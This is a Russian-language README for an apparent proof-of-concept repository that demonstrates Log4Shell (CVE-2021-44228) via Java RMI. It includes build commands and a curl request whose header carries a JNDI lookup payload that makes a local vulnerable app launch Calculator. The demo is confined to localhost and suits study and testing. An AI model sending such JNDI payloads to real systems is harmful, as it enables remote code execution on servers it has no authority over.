labout/log4shell-rmi-pocДоказательство концепции уязвимостей Log4j (CVE-2021-44228) через Java-RMI
Доказательство концепции (Proof of Concept) уязвимости Log4j (CVE-2021-44228) через Java-RMI
Использует Log4j 2.5.7 из spring-boot-starter-log4j2
Протестировано с Java 8 (JDK 1.8.0_25) и Java 11 (JDK 11.0.1)
git clone https://github.com/Labout/log4shell-rmi-poc.git
cd Log4jshell_rmi_server
./mvnw clean package
java -jar target/Log4jshell.rmi.server-0.0.1-SNAPSHOT.jar
Вы должны увидеть нечто подобное:
В новом терминале
cd vulnerabel_log4j_app
./mvnw clean package
java -jar target/vulnerabel_log4j_app-0.0.1-SNAPSHOT.jar
curl 'http://localhost:8080/hello' --header 'Accept-Version: ${jndi:rmi://127.0.0.1:1099/ExecByEL}'
Как вы можете видеть, уязвимое приложение вызывает приложение «Калькулятор».
